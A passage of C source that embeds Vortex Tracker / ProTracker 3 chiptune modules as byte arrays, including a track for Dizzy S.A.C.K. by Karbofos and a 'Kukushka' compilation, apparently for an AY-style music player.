0x8d, 0x00, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x8a, 0xfd, 0xff, 0x01,
0x89, 0x00, 0x00, 0x01, 0x87, 0x03, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x82, 0xfd, 0xff, 0x01,
0x80, 0x00, 0x00, 0x10, 0x11, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x0e, 0x00,
0x00, 0x01, 0x0d, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x00, 0x01, 0x0b, 0x00, 0x00, 0x01, 0x0a, 0x00,
0x00, 0x01, 0x09, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x01, 0x07, 0x00, 0x00, 0x01, 0x06, 0x00,
0x00, 0x01, 0x05, 0x00, 0x00, 0x01, 0x04, 0x00, 0x00, 0x01, 0x03, 0x00, 0x00, 0x01, 0x02, 0x00,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x01, 0x01, 0x1f, 0x00, 0x00, 0x0c,
0x0d, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x0d, 0x03, 0x00, 0x01, 0x0d, 0x00, 0x00, 0x01, 0x8d, 0xfd,
0xff, 0x01, 0x8d, 0x00, 0x00, 0x01, 0x8c, 0x03, 0x00, 0x01, 0x8b, 0x00, 0x00, 0x01, 0x8a, 0xfd,
0xff, 0x01, 0x89, 0x00, 0x00, 0x01, 0x87, 0x03, 0x00, 0x01, 0x85, 0x00, 0x00, 0x01, 0x82, 0xfd,
0xff, 0x01, 0x80, 0x00, 0x00, 0x04, 0x05, 0x01, 0xcf, 0x00, 0x01, 0x01, 0xce, 0x00, 0x01, 0x01,
0xcd, 0x00, 0x01, 0x01, 0xcc, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00, 0x05, 0x06, 0x0d, 0x6f, 0x64,
0x00, 0x01, 0xcf, 0x64, 0x00, 0x01, 0x4e, 0x28, 0x01, 0x81, 0x4d, 0x32, 0x00, 0x01, 0x4d, 0x32,
0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x02, 0x01, 0x00, 0x00, 0x05, 0x30, 0x24,
0x18, 0x0c, 0x00, 0x04, 0x05, 0x00, 0x0c, 0x00, 0x0c, 0x00,
};
const uint8_t dizzy_sack[] MUSICMEM = {
0x56, 0x6f, 0x72, 0x74, 0x65, 0x78, 0x20, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x49,
0x49, 0x20, 0x31, 0x2e, 0x30, 0x20, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x3a, 0x20, 0x53, 0x70,
0x65, 0x63, 0x69, 0x61, 0x6c, 0x20, 0x74, 0x72, 0x61, 0x63, 0x6b, 0x20, 0x66, 0x6f, 0x72, 0x20,
0x44, 0x69, 0x7a, 0x7a, 0x79, 0x20, 0x53, 0x2e, 0x41, 0x2e, 0x43, 0x2e, 0x4b, 0x2e, 0x20, 0x62,
0x79, 0x20, 0x4b, 0x61, 0x72, 0x62, 0x6f, 0x66, 0x6f, 0x73, 0x27, 0x32, 0x30, 0x30, 0x36, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x02, 0x03, 0x1b, 0x01, 0xe5, 0x00, 0x00, 0x00, 0x60, 0x0b, 0x66, 0x0b, 0x74,
0x0b, 0x7a, 0x0b, 0x80, 0x0b, 0x86, 0x0b, 0x90, 0x0b, 0x00, 0x00, 0xb6, 0x0b, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x0b, 0xcb, 0x0b, 0xd0, 0x0b, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd5, 0x0b, 0x00, 0x00, 0x03, 0x06, 0x09, 0x06, 0x0c,
0x0f, 0x12, 0x0f, 0x12, 0x15, 0x15, 0x18, 0x18, 0x1b, 0x1b, 0x1e, 0x1e, 0x21, 0x21, 0x1b, 0x1b,
0x18, 0x18, 0x15, 0x15, 0xff, 0x2d, 0x01, 0x31, 0x01, 0xa1, 0x01, 0xc7, 0x01, 0xcb, 0x01, 0x05,
0x02, 0x27, 0x02, 0x1c, 0x03, 0x56, 0x03, 0x78, 0x03, 0x00, 0x04, 0x37, 0x04, 0x59, 0x04, 0x00,
0x04, 0x37, 0x04, 0x2c, 0x05, 0xcb, 0x01, 0x05, 0x02, 0x50, 0x05, 0x72, 0x05, 0xab, 0x05, 0xcd,
0x05, 0x52, 0x06, 0x8d, 0x06,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xb1, 0x01, 0x61,
0x06, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1, 0xb1, 0x01, 0x5e, 0xc0, 0x61, 0xc0, 0x61,
0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1, 0xb1, 0x01, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7, 0xb1,
0x02, 0x74, 0xd1, 0xb1, 0x01, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1,
0xb1, 0x01, 0x5e, 0xc0, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x02, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02,
0x79, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x79, 0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x79,
0xb1, 0x04, 0x79, 0xb1, 0x02, 0x79, 0x00, 0xff, 0x06, 0xcf, 0xb1, 0x01, 0x85, 0x01, 0xd0, 0x02,
0x01, 0x00, 0xd1, 0x01, 0x85, 0x01, 0xff, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x02, 0x82,
0xc8, 0x85, 0xd3, 0xcf, 0xb1, 0x01, 0x80, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xd1, 0xb1, 0x03, 0x80, 0xca, 0xb1, 0x01, 0x7e, 0xd3, 0xcf,
0x7d, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00,
0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0xd1, 0x01, 0x7d, 0x01, 0xfe, 0xff,
0x01, 0xd0, 0x01, 0x02, 0x00, 0xb1, 0x02, 0x7b, 0xc8, 0x7d, 0xd3, 0xcf, 0xb1, 0x01, 0x7d, 0x01,
0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0,
0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01,
0x03, 0x00, 0x80, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01,
0x03, 0x00, 0xc8, 0xb1, 0x04, 0x7d, 0xcf, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01,
0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01, 0x0a, 0x00, 0xcd,
0xd0, 0xcc, 0xd0, 0xcb, 0xd0, 0xc8, 0x7d, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcf, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01,
0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03,
0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0x00, 0xd1, 0x09, 0xb1, 0x02,
0x61, 0x03, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0,
0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7,
0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x61, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x04, 0x74,
0xd1, 0xb1, 0x02, 0x5e, 0xc0, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x04, 0x79, 0xb1, 0x08, 0x79, 0xb1,
0x04, 0x79, 0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79, 0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79,
0x79, 0xb1, 0x08, 0x79, 0xb1, 0x04, 0x79, 0x00, 0xd3, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02, 0x03,
0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01, 0xfd,
0xff, 0xcd, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcc, 0xd0, 0xcb, 0xd0, 0xcf, 0x02, 0xb1, 0x02, 0x80,
0x01, 0x2e, 0x00, 0xf1, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02,
0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xc8, 0xb1, 0x04, 0x80,
0x7d, 0xcf, 0xb1, 0x01, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01,
0xd0, 0x01, 0x03, 0x00, 0x80, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01,
0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0,
0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xb1, 0x1c, 0xc0, 0x01, 0xfe, 0xff, 0x00,
0xd1, 0xb1, 0x02, 0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0,
0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0, 0x5c, 0xc0, 0x5c,
0xc0, 0xd7, 0xb1, 0x04, 0x74, 0xd1, 0xb1, 0x02, 0x57, 0xc0, 0x5c, 0xc0, 0x5c, 0xc0, 0xd7, 0x74,
0xca, 0x74, 0xcf, 0x74, 0xcd, 0x74, 0x00, 0xd2, 0x42, 0xca, 0xb1, 0x04, 0x74, 0xb1, 0x08, 0x74,
0xb1, 0x04, 0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04, 0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04,
0x74, 0x74, 0xb1, 0x08, 0x74, 0xb1, 0x04, 0x74, 0x00, 0xd3, 0xb1, 0x01, 0x7d, 0x01, 0xd0, 0x02,
0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xce, 0x01, 0xd0, 0x01,
0xfd, 0xff, 0xcd, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xcc, 0xd0, 0xcb, 0xd0, 0xcf, 0x02, 0xb1, 0x02,
0x80, 0x01, 0x2e, 0x00, 0xf1, 0xff, 0x01, 0xd0, 0x01, 0x01, 0x00, 0xb1, 0x01, 0x7d, 0x01, 0xd0,
0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff, 0x01, 0xd0, 0x01, 0x03, 0x00, 0xc8, 0xb1, 0x04,
0x80, 0x7d, 0xcf, 0xb1, 0x01, 0x7b, 0x01, 0xd0, 0x02, 0x03, 0x00, 0x01, 0xd0, 0x01, 0xfd, 0xff,
0x01, 0xd0, 0x01, 0x03, 0x00, 0x84, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff,
0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xb1, 0x03, 0xd0, 0x01, 0x07,
0x00, 0xc8, 0xb1, 0x04, 0x84, 0x7b, 0xb1, 0x03, 0x84, 0xb1, 0x01, 0x84, 0xcf, 0x02, 0x85, 0x01,
0x09, 0x00, 0xfd, 0xff, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0,
0x01, 0x02, 0x00, 0x01, 0xd0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x01,
0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x87, 0x01, 0xd0, 0x02, 0x02, 0x00, 0x01, 0xd0, 0x01,
0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x00, 0x01, 0xd0, 0x02, 0x02,
0x00, 0x01, 0xc0, 0x01, 0xfe, 0xff, 0x01, 0xd0, 0x01, 0x02, 0x00, 0x00, 0xf1, 0x0c, 0xcf, 0xb1,
0x04, 0x7d, 0xb1, 0x02, 0x7b, 0xc8, 0x7d, 0xcf, 0x79, 0xc8, 0x7b, 0xcf, 0x78, 0x79, 0xc8, 0x78,
0xcf, 0xb1, 0x04, 0x74, 0xb1, 0x02, 0x76, 0xc8, 0x74, 0xcf, 0x79, 0xc8, 0x76, 0xcf, 0x74, 0x00,
0xcf, 0xb1, 0x02, 0x78, 0xc8, 0x74, 0xcf, 0x79, 0xc8, 0x78, 0xcf, 0x78, 0xc8, 0x79, 0xcf, 0x76,
0x78, 0xc8, 0xb1, 0x04, 0x78, 0xcf, 0xb1, 0x02, 0x76, 0x74, 0xc8, 0x76, 0xcf, 0x6f, 0x74, 0xc8,
0x6f, 0x00, 0xd1, 0x09, 0xb1, 0x01, 0x5c, 0x06, 0xc0, 0x5c, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0x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, 0x00, 0x17, 0x6a, 0xbb, 0x00, 0x27,
0x55, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x1f, 0x65, 0xbb, 0x00, 0x27,
0x55, 0x00, 0xd1, 0xcf, 0x09, 0xb1, 0x01, 0x61, 0x06, 0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74,
0xd1, 0xb1, 0x01, 0x5e, 0xc0, 0x66, 0xc0, 0x66, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1, 0xb1, 0x01,
0x66, 0xc0, 0x68, 0xc0, 0x68, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1, 0xb1, 0x01, 0x68, 0xc0, 0x61,
0xc0, 0x61, 0xc0, 0xd7, 0xb1, 0x02, 0x74, 0xd1, 0xb1, 0x01, 0x5c, 0xc0, 0x00, 0xd1, 0x42, 0xcf,
0xb1, 0x01, 0x79, 0xca, 0x79, 0xcf, 0x79, 0xca, 0x79, 0xd3, 0xcf, 0x79, 0xd1, 0x79, 0x79, 0xca,
0x79, 0xcf, 0x7e, 0xca, 0x7e, 0xcf, 0x7e, 0xca, 0x7e, 0xd3, 0xcf, 0x7e, 0xd1, 0x7e, 0x7e, 0xca,
0x7e, 0xcf, 0x80, 0xca, 0x80, 0xcf, 0x80, 0xca, 0x80, 0xd3, 0xcf, 0x80, 0xd1, 0x80, 0x80, 0xca,
0x80, 0xcf, 0x79, 0xca, 0x79, 0xcf, 0x79, 0xca, 0x79, 0xd3, 0xcf, 0x79, 0xd1, 0x79, 0x79, 0xca,
0x79, 0x00, 0x1c, 0x00, 0x1a, 0x0a, 0x40, 0xb1, 0x01, 0x68, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00,
0x1f, 0x65, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00, 0x27, 0x61, 0xbb, 0x00, 0x27, 0x55, 0xbd, 0x00,
0x1f, 0x65, 0xbb, 0x00, 0x27, 0x55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x41, 0xcf, 0x6a, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcc, 0x68,
0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x6f, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcc, 0x72,
0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x68, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x68,
0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcc, 0x72, 0xd3, 0x42, 0xca, 0x80, 0xd6, 0x41, 0xcf, 0x6d,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x68, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x68,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x6d, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x71,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x68, 0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcf, 0x68,
0xd3, 0x42, 0xca, 0x79, 0xd6, 0x41, 0xcc, 0x71, 0xd3, 0x42, 0xca, 0x79, 0x00, 0x1c, 0x00, 0x23,
0x0a, 0x40, 0xb1, 0x02, 0x63, 0xbb, 0x00, 0x23, 0x57, 0xbd, 0x00, 0x1f, 0x65, 0xbb, 0x00, 0x23,
0x57, 0xbd, 0x00, 0x1c, 0x67, 0xbb, 0x00, 0x23, 0x57, 0xbd, 0x00, 0x23, 0x63, 0xbb, 0x00, 0x23,
0x57, 0xbd, 0x00, 0x1a, 0x68, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x14, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd, 0x00, 0x12, 0x6f, 0xbb, 0x00, 0x1a, 0x5c, 0xbd, 0x00, 0x14, 0x6c, 0xbb, 0x00, 0x1a,
0x5c, 0xbd,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xca, 0x7b, 0xd6, 0x41, 0xcc, 0x73, 0xd3, 0x42, 0xca, 0x7b, 0x00,
0x00, 0x01, 0x81, 0x8f, 0x00, 0x00, 0x02, 0x03, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x0f, 0x00, 0x00,
0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x90, 0x00, 0x00,
0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x02, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00, 0x00,
0x08, 0x09, 0x09, 0x0f, 0x32, 0x00, 0x01, 0x8f, 0x64, 0x00, 0x15, 0x0f, 0x96, 0x00, 0x15, 0x0e,
0xc8, 0x00, 0x17, 0x0d, 0xfa, 0x00, 0x19, 0x0c, 0x2c, 0x01, 0x1b, 0x1b, 0x5e, 0x01, 0x1d, 0x1a,
0x90, 0x01, 0x01, 0x99, 0x68, 0x01, 0x03, 0x04, 0x01, 0x17, 0x00, 0x00, 0x01, 0x15, 0x00, 0x00,
0x01, 0x13, 0x00, 0x00, 0x81, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x03, 0x13, 0x13, 0x00,
0x00, 0x03, 0x00, 0x04, 0x07, 0x00, 0x01, 0x00,
};
const uint8_t kukushka[] MUSICMEM = {
0x50, 0x72, 0x6f, 0x54, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x20, 0x33, 0x2e, 0x35, 0x20, 0x63,
0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x56, 0x2e,
0x43, 0x6f, 0x79, 0x20, 0x22, 0x4b, 0x75, 0x6b, 0x75, 0x73, 0x68, 0x6b, 0x61, 0x22, 0x20, 0x3c,
0x72, 0x4d, 0x78, 0x3e, 0x20, 0x68, 0x21, 0x20, 0x66, 0x41, 0x6e, 0x5a, 0x3b, 0x29, 0x20, 0x62,
0x79, 0x20, 0x4d, 0x6d, 0x3c, 0x4d, 0x20, 0x6f, 0x66, 0x20, 0x53, 0x61, 0x67, 0x65, 0x20, 0x31,
0x39, 0x2e, 0x44, 0x65, 0x63, 0x2e, 0x58, 0x58, 0x20, 0x74, 0x77, 0x72, 0x20, 0x32, 0x31, 0x3a,
0x31, 0x35, 0x20, 0x02, 0x03, 0x19, 0x02, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf5, 0x0e, 0x03,
0x0f, 0x19, 0x0f, 0x23, 0x0f, 0x31, 0x0f, 0x3f, 0x0f, 0x45, 0x0f, 0x00, 0x00, 0x63, 0x0f, 0x71,
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x0f, 0x7a, 0x0f, 0x00, 0x00, 0x85,
0x0f, 0x8a, 0x0f, 0x8f, 0x0f, 0x93, 0x0f, 0x9b, 0x0f, 0xa3, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x06, 0x09, 0x06, 0x09, 0x06,
0x09, 0x0c, 0x0f, 0x12, 0x15, 0x18, 0x1b, 0x1e, 0x21, 0x24, 0x15, 0x27, 0x21, 0x2a, 0x15, 0x2d,
0x06, 0x09, 0xff, 0x43, 0x01, 0x4c, 0x01, 0x8d, 0x01, 0xd6, 0x01, 0xee, 0x01, 0x2d, 0x02, 0x76,
0x02, 0xf4, 0x02, 0x38, 0x03, 0x3b, 0x04, 0xee, 0x01, 0xb9, 0x04, 0xbc, 0x05, 0x30, 0x06, 0x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 0xf6, 0x0a, 0xcc, 0x84, 0xf0, 0x08, 0xbd, 0x00, 0x7c, 0xcf, 0x65, 0xbd, 0x00, 0x3e, 0x71,
0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x7c, 0x08, 0x65, 0x1c, 0x00, 0x3e, 0x04, 0x71, 0x1c,
0x00, 0x7c, 0x08, 0xb1, 0x02, 0x65, 0x80, 0x1c, 0x00, 0x7c, 0x04, 0xb1, 0x04, 0x71, 0xf6, 0x0a,
0x84, 0xf0, 0x08, 0xbd, 0x00, 0x3e, 0xb1, 0x02, 0x71, 0xf6, 0x0a, 0xcc, 0x84, 0xf0, 0x08, 0xbd,
0x00, 0x7c, 0xcf, 0x65, 0xbd, 0x00, 0x3e, 0x71, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x7c,
0x08, 0x65, 0x1c, 0x00, 0x34, 0x04, 0x71, 0xd4, 0x08, 0xb1, 0x02, 0x80, 0x01, 0x01, 0x00, 0x80,
0x00, 0xf1, 0x14, 0xcf, 0xb1, 0x04, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04, 0x84,
0xcc, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xcb, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xca, 0xb1,
0x02, 0x82, 0xb1, 0x04, 0x84, 0xc9, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xc8, 0xb1, 0x02, 0x82,
0xb1, 0x06, 0x84, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04,
0x80, 0xcc, 0xb1, 0x02, 0x84, 0x80, 0x00, 0xf0, 0x04, 0xbd, 0x00, 0x8c, 0xcf, 0xb1, 0x04, 0x71,
0xf7, 0x0a, 0x82, 0xf0, 0x08, 0xbd, 0x00, 0x46, 0xb1, 0x02, 0x6f, 0xf7, 0x0a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,
0x14, 0xca, 0x7d, 0xf0, 0x0a, 0xcd, 0x87, 0xf3, 0x14, 0xca, 0x7d, 0xf0, 0x0a, 0xc9, 0x84, 0xf3,
0x14, 0xca, 0x7d, 0x00, 0xf1, 0x14, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0x84, 0x82, 0x84, 0x84, 0x84,
0x82, 0x02, 0x84, 0x01, 0x14, 0x00, 0xfa, 0xff, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04,
0x87, 0x84, 0xcc, 0xb1, 0x02, 0x87, 0xb1, 0x04, 0x84, 0xcb, 0xb1, 0x02, 0x87, 0xb1, 0x04, 0x84,
0xca, 0xb1, 0x02, 0x87, 0x84, 0x00, 0xf1, 0x14, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02,
0x82, 0x84, 0xcf, 0xb1, 0x04, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0xb1, 0x04, 0x84, 0xcb, 0xb1,
0x02, 0x82, 0xb1, 0x04, 0x84, 0xcf, 0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04,
0x84, 0x84, 0xcc, 0xb1, 0x02, 0x82, 0x84, 0xcf, 0xb1, 0x04, 0x80, 0xcc, 0xb1, 0x02, 0x84, 0x80,
0x00, 0xf0, 0x04, 0xbd, 0x00, 0x8c, 0xcf, 0xb1, 0x04, 0x71, 0xf7, 0x0a, 0x82, 0xf0, 0x08, 0xbd,
0x00, 0x46, 0xb1, 0x02, 0x6f, 0xf7, 0x0a, 0xbd, 0x00, 0x11, 0xcc, 0x82, 0xf0, 0x08, 0xbd, 0x00,
0x8c, 0xcf, 0x63, 0xbd, 0x00, 0x46, 0x6f, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x8c, 0x08,
0x63, 0x1c, 0x00, 0x46, 0x04, 0x71, 0x1c, 0x00, 0x8c, 0x08, 0xb1, 0x02, 0x63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bd,
0x00, 0x9d, 0xcf, 0x61, 0xbd, 0x00, 0x4e, 0x6d, 0x10, 0x06, 0xb1, 0x04, 0x7d, 0x1c, 0x00, 0x9d,
0x08, 0x61, 0x1c, 0x00, 0x34, 0x04, 0x71, 0xd4, 0x08, 0xb1, 0x02, 0x74, 0x01, 0x03, 0x00, 0x74,
0x00, 0xf7, 0x10, 0xcf, 0xb1, 0x20, 0x82, 0xb1, 0x18, 0x80, 0xf1, 0x14, 0xb1, 0x04, 0x80, 0xcc,
0xb1, 0x02, 0x7d, 0x80, 0x00, 0x02, 0x03, 0x01, 0x8f, 0x00, 0x01, 0x01, 0x8f, 0xc0, 0x02, 0x00,
0x90, 0x00, 0x00, 0x03, 0x05, 0x09, 0x6f, 0xe0, 0x00, 0x01, 0xcf, 0x60, 0x01, 0x01, 0x4e, 0x40,
0xff, 0x01, 0x4d, 0x20, 0x00, 0x81, 0x4d, 0x40, 0x00, 0x01, 0x02, 0x01, 0x0f, 0x00, 0x00, 0x00,
0x90, 0x00, 0x00, 0x01, 0x03, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00,
0x00, 0x01, 0x03, 0x01, 0x4f, 0x60, 0x00, 0x01, 0xcf, 0x60, 0x00, 0x81, 0xcf, 0x60, 0x00, 0x00,
0x01, 0x01, 0x0f, 0x00, 0x00, 0x00, 0x07, 0x01, 0x0f, 0x00, 0x00, 0x01, 0x8e, 0x00, 0x00, 0x01,
0x8c, 0x00, 0x00, 0x01, 0x8a, 0x00, 0x00, 0x01, 0x88, 0x00, 0x00, 0x01, 0x87, 0x00, 0x00, 0x81,
0x0e, 0x00, 0x00, 0x00, 0x03, 0x01, 0x8f, 0x00, 0x00, 0x01, 0x8f, 0x00, 0x00, 0x81, 0x8f, 0x00,
0x00, 0x00, 0x01, 0x01, 0x8f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x09, 0x13, 0x00, 0x00, 0x00,
